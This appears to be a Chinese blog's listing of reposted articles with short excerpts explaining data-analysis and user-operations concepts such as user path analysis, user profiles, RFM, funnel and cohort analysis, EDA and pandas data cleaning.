什么是用户路径?用户路径即抽象用户在网站或APP中的访问路径。其可用桑基图展现,称为用户路径图。什么是用户路径分析?用户路径分析追踪用户从某个开始事件直到结束事件的行为路径,即对用户流向进行监测。用户路径分析有什么用?用户路径分析可以用来衡量网站优化的效果或营销推广的效果,以及了解用户行为偏好,其最终目的是达成业务目标,引导用户更高效地完成产品的最优路径,...
转载
311阅读
0评论
0点赞
发布博客于 2 年前

用户画像(User Profile)

什么是用户画像?用户画像是根据某个具体的用户的人口学特征、网络浏览内容、网络社交活动和消费行为等信息而抽象出的一个标签化的用户模型。例如某用户的画像是:男,31岁,已婚,收入1万以上,爱美食,团购达人,喜欢红酒配香烟。用户画像的本质:将用户信息标签化(包括该标签的权重),如:喜欢红酒 0.8、经常购买李宁 0.6。* “标签”是能表示用户某一维度特征的标识。需...
转载
205阅读
0评论
0点赞
发布博客于 2 年前

用户生命周期(User Lifetime)

什么是用户生命周期?用户生命周期是从用户开始接触产品到离开产品的整个过程。用户生命周期可分为:引入期、成长期、成熟期、休眠期、流失期。对应的是用户对产品不同的参与程度。用户生命周期有什么用?按照用户生命周期来划分用户,能够帮助我们了解处于不同生命周期用户的需求,开展运营策略,从而减少用户流失。对于引入期用户需要引导其往成长期用户发展,而成长期用户往成熟期用户发展,成熟期...
转载
142阅读
0评论
0点赞
发布博客于 2 年前

二八法则(The 80/20 Principle)

二八法则的定义:在任何一组事物中,最重要的只占其中一小部分,约20%,其余80%尽管占多数,却是次要的。二八法则的例子:社会上20%的人占有80%的社会财富 20%的工厂有80%的产出 80%的利润来自于20%的产品 ...
转载
122阅读
0评论
0点赞
发布博客于 2 年前

用户分层和用户分群

用户分层和用户分群都是将用户分成不同的类别,以此来区别对待不同的用户。用户分层, 是基于大方向的划分, 而用户分群, 则是将这些层次切分成更细的粒度。用户分层和用户分群示例:用户分层的方法,简单的用二八法则分层,常见的有金字塔模型、四象限法、用户生命周期、AARRR模型等。其实用户分层并没有固定的方式,通常根据产品形态设立因地制宜的体系。不过有两个思路可...
转载
363阅读
0评论
0点赞
发布博客于 2 年前

产品生命周期(Product Life Circle,PLC)

什么是产品生命周期?产品生命周期是新产品从开发进入市场到被市场淘汰的整个过程。产品生命周期可分为初创期、成长期、成熟期、衰退期。产品生命周期有什么用?在产品不同的生命阶段,公司的业务目的都不同。因此,了解产品的生命周期有助于区分不同阶段的指标并进行针对性分析。(1)初创期初创期的重点在于验证产品的核心价值,即通过该产品或服务可以为特定人群解决某个问题。这时...
转载
378阅读
0评论
0点赞
发布博客于 2 年前

用户价值和RFM模型

什么是用户价值?用户价值就是对公司来说有用的地方,比如有的公司看中用户的消费能力,有的公司则看中用户的忠诚度 。各公司的业务目的不同,用户价值的体现自然也不同。这里主要说一下适用于电商的RFM模型。什么是RFM模型?RFM模型根据用户最近一次消费时间R,消费频率F,消费金额M,计算出RFM值,通过RFM这三个维度来评估用户的价值。R(Recency):最近一次...
转载
185阅读
0评论
0点赞
发布博客于 2 年前

金字塔原理(Pyramid Principle)

什么是金字塔原理?简单来说,金字塔原理就是“中心论点---分论点---支撑论据”这样的一个结构。图片摘自:http://www.woshipm.com/pmd/306704.html人类通常习惯于线性思考和表达,这种方式通常会导致逻辑混乱,讲了很久别人也不知道你想表达什么。因此,用金字塔原理进行思考和表达将容易使别人理解你的逻辑关系。举个简单的例子:你要...
转载
125阅读
0评论
0点赞
发布博客于 2 年前

漏斗分析(Funnel Analysis)

什么是漏斗分析?简单来讲,就是抽象出某个流程,观察流程中每一步的转化与流失。漏斗的三个要素:时间:特指漏斗的转化周期,即为完成每一层漏斗所需时间的集合节点:每一层漏斗,就是一个节点流量:就是人群对于时间来说:通常来讲,一个漏斗的转化周期越短越好。对于节点来说:最核心的指标就是转化率,计算公式为:转化率 = 通过该层的流量/到达该层的流量。...
转载
2103阅读
0评论
0点赞
发布博客于 2 年前

市场细分(Market Segmentation)

什么是市场细分?市场细分其实就是把拥有共同特征的人分在一起。这些共同特征可以是:喜欢喝某个牌子的红酒,飞机总是做头等舱,习惯用windows系统等等。市场细分有什么用?1,不同细分市场的需求存在着明显的差别,可以选定某一群体作为目标群体 ,也可以对不同的群体进行精细化运营。2,可以通过比较各个细分市场之间的差异,从而对业务进行指导。比如使用火狐浏览器的群体的购...
转载
198阅读
0评论
0点赞
发布博客于 2 年前

同期群分析(Cohort Analysis)

什么是同期群?将相同时间段内具有共同行为特征的用户划分为同一个群体,其被称为同期群。“共同行为特征”是指在某个时间段内的行为相似。最常见的是按不同时间的新增用户来划分,然后分析留存率。当然也可以按其他行为来划分用户,譬如“在2017年6月第一次购买”,“在2017年10月第二周对产品的使用频率开始降低”等。什么是同期群分析?同期群分析就是对比不同同期群之...
转载
687阅读
0评论
0点赞
发布博客于 2 年前

探索性数据分析(Exploratory Data Analysis,EDA)

探索性数据分析(Exploratory Data Analysis,EDA)主要的工作是:对数据进行清洗,对数据进行描述(描述统计量,图表),查看数据的分布,比较数据之间的关系,培养对数据的直觉,对数据进行总结等。探索性数据分析(EDA)与传统统计分析(Classical Analysis)的区别:传统的统计分析方法通常是先假设样本服从某种分布,然后把数据套入假设模型再做分...
转载
959阅读
0评论
1点赞
发布博客于 2 年前

用pandas进行数据清洗(二)(Data Analysis Pandas Data Munging/Wrangling)

在《用pandas进行数据清洗(一)(Data Analysis Pandas Data Munging/Wrangling)》中,我们介绍了数据清洗经常用到的一些pandas命令。接下来看看这份数据的具体清洗步骤: Transaction_ID Transaction_Date Product_ID Quantity Unit_Price Total_Price...
转载
41阅读
0评论
0点赞
发布博客于 2 年前